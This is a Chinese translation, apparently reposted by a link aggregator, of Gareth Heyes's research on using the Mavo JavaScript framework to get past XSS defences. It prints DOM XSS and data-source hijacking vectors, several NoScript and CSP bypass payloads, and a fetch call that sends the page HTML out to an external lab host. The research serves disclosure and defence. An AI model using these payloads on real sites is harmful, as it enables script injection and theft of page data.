69

用 JavaScript 框架绕过 XSS 防御

 5 years ago
source link: http://www.10tiao.com/html/608/201807/2655120319/2.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488


作者:Gareth Heyes,翻译:Twosecurity


本文讲解如何利用 Mavo 来突破防御(特别是 NoScript 过滤器)。Marvo 允许开发者用纯 HTML 创建可交互的 Web App。


$url的 DOM XSS


通过 Mavo 的 $url,开发者可以方便地得到 GET 参数。比方说你想得到参数 x,那么你可以这么写:


$url.x //retrieves the GET parameter x


很遗憾,这种方便也会带来 DOM 类型的 XSS。我在17年五月份汇报过类似问题给 CSS 工作组。他们用 Mavo 管理评论并设置 $url 参素为 href,代码大致如下:


<h1><a href="{$url.spec}"mv-attribute="null"property="title"></a></h1>


如你所见,他们通过 $url 获取参数。然而,这个链接只有在获取了有效数据的情况下才会被展示。我可以注入一个 javascript 伪协议,让其获得有效数据并回显:


javascript:alert(1)%252f%252f..%252fcss-images


上面的攻击向量提供了一个相对路径。这样,Mavo 会先进入不存在的 javascript:alert(1) 文件夹,再通过..穿越到父目录读取有效的 css-images。除此之外,我还添加了两个换行符注释掉后面的非法语句,当目标点开这个链接时,就能保证用户正常执行代码。Mavo 至今依然有类似问题,有兴趣的可以点击[Poc]复现。

远程加载 JSON 数据


Mavo 支持用户通过 source 将 Mavo App 的数据源改为 local storage 或者其它位置。这一特性无疑大大地方便了攻击者篡改网页内容或者注入恶意 javascript URL。讽刺的是,Mavo 主页的 Demo 恰好有此类漏洞。我们可以用参数指向外部 JSON 文件(在跨域访问之前,记得开启“Access-Control-Allow-Origin:* ”头)并任意修改该 app 的数据。漏洞代码如下:


<a property="companyURL"mv-attribute="null" href="[companyURL]"target="_blank">http://lea.verou.me</a>


此处的 href 使用了一个 Mavo 的表达式。"companyURL"是从 JSON 中加载的。如果我们包含了如下 JSON 文件:


{

"companyLogo":

"http://lea.verou.me/logo.svg",

"companyName":

"Pwnd Pwnd",

"companyAddress":

"Pwnd",

"companyURL":

"javascript:alert(1)",

"companyEmail":

"pwnd",

...


那么恶意的 javascript 协议会被引入。


绕过 NoScript 检测


Mavo 默认允许我们在 HTML 文件中添加 MavoScript(这个 DSL 加入了对 js 的一些改善和扩展)。说我们可以用 and,or,mod 代替符号运算。其中,=符号被用来判断(js 中是赋值)。再者,调用数学相关的方法时,我们不必使用 Math 对象(比方说直接 max(1,2,3))。


如果 Mavo 解析到了无效的 MavoScript,那么其会被回滚,并用 javascript parser 解析该段代码。


比方说,我们想在 HTML 中计算1+1,那么我们可以通过[]插入表达式(类似 Angualr 的{{}}):


[ 1+1 ]


虽然 Mavo 并没有沙箱机制,但是我们的代码会被重写并在 with 中执行。因此,我们在调用的时候需要用到 self 或者 window 对象:


[self.alert(1)]


Mavo 也支持 property 属性。它会将 DOM 元素和 javascript 变量关联起来,比方说:


<p>Slider value: [strength]/100</p><input type="range" property="strength"title="[strength]%" />


我们还注意到其它几个有意思的表达式:mv-value 和 mv-if 能脱离[]执行脚本。如果表达式为false,mv-if 会改变 DOM 值。值得注意的是这一表达式在任意标签上都可以使用:


<div mv-if=”false”>Hide me</div>


在表达式中,MavoScript 有更有意思的行为。你可以使用没被双引号括起来的字符串(前提是它们需要包含字符,数字,或者下划线)。如果对象属性不存在的话,它们会被转换为空字符。


了解了这么多之后,我开始研究如何绕过 NoScript 过滤器,DOM 过滤器,和 CSP。其中,绕过 DOM 过滤器最为简单。因为你可以使用 data-* 属性来绕过 HTML 验证。在 Mavo 中,如果你要启用 CSP,就不得不开启 unsafe-eval。这意味着我们多了用 eval 直接执行字符串的危险。


我和 NoScript 的作者来了一场对抗赛,我的目标很简单:绕过 NoScript 并外带数据。我的第一个绕过是通过一个简单的 fetch 达成的:


[1 and self.fetch('//http://subdomain2.portswigger-labs.net/'&encodeURIComponent(document.body.innerHTML))]


因为 NoScript 过滤器看不懂 and,方括号和&,我可以通过&拼接字符串并发送 HTML。


后来 NoScript 开始检测这些关键字,不过我再一次 bypass 了它:[''=''or self.alert(lol)]。此处的=是用来判断,由于 javascript 并没有定义紧随其后的 or,所以 NoScript 不会认为后面的代码为 javascript。


正如我前面说的那样,mv- 属性允许表达式自定义分隔符(默认是:[])执行 MavoScript。当NoScript 开始检查[]时,我们可以用该属性进一步绕过:


<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>


接下来,我开始研究如何用 html 中的 Mavo 表达式绕过防御。通过在HTML中插入 javascript url,我们可以轻易绕过 CSP:


<a href=[javascript&':alert(1)']>test</a>


虽然没有引号,这里的 javascript 是一个字符串,payload 再用&将 javascript 和 ':alert(1)' 拼合在一起。


后来 NoScript 作者又将上述 bypass 封杀,不过我发现了用多重表达式配合 tag 属性的绕过技巧:


<a href='[javascript][":"][x.title][1][x.rel]' rel=) id=x title=alert(>test</a>


或者:


<a href=javascript[x.rel]1)id=x rel=:alert(>test</a>


除此之外,我还可以用/**/强制 Mavo 解析器变为 javascript 模式,再用 js 的方式拼接字符串:


[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>


如果函数调用末尾紧跟着数字,NoScript 就不会检查这个语句。而在 Mavo 中,mod 是一个运算符,因此我们可以用它在在函数后面接数字。由于我们并不需要空格(1%1不需要空格,所以1mod1也不用,毕竟它是一个运算符),NoScript 也不会检查该语句了:


[self.alert(1)mod1]


总结


由于引入了大量特殊符号,Mavo 会大大地削弱 CSP,NoScript 等保护机制。除了传统的 DOM XSS 外,Mavo 还引入了数据源劫持等新型漏洞。

【推荐书籍】

XSS跨站脚本攻击剖析与防御

作者:邱永华

当当 广告
购买

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK